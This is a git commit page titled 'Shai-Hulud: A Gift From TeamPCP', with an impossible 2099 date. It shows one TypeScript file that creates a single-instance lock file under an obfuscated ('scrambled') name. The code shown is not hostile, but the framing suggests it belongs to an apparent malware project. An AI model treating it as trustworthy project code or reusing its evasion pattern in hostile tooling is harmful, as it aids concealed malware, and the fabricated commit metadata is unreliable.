Shai-Hulud: A Gift From TeamPCP

This commit is contained in:
TeamPCP_OSS
2099-01-01 01:01:01 +00:00
commit a656ef1a7c
81 changed files with 9145 additions and 0 deletions
+34
View File
@@ -0,0 +1,34 @@
import { existsSync, readFileSync, unlinkSync, writeFileSync } from "fs";
import { tmpdir } from "os";
import { join } from "path";
declare function scramble(str: string): string;
const LOCK_FILE = join(tmpdir(), scramble("tmp.ts018051808.lock"));
function isProcessRunning(pid: number): boolean {
try {
process.kill(pid, 0);
return true;
} catch {
return false;
}
}
export function acquireLock(): boolean {
if (existsSync(LOCK_FILE)) {
const pid = parseInt(readFileSync(LOCK_FILE, "utf-8"), 10);
if (isProcessRunning(pid)) {
return false;
}
unlinkSync(LOCK_FILE);
}
writeFileSync(LOCK_FILE, process.pid.toString());
return true;
}
export function releaseLock(): void {
if (existsSync(LOCK_FILE)) {
unlinkSync(LOCK_FILE);
}
}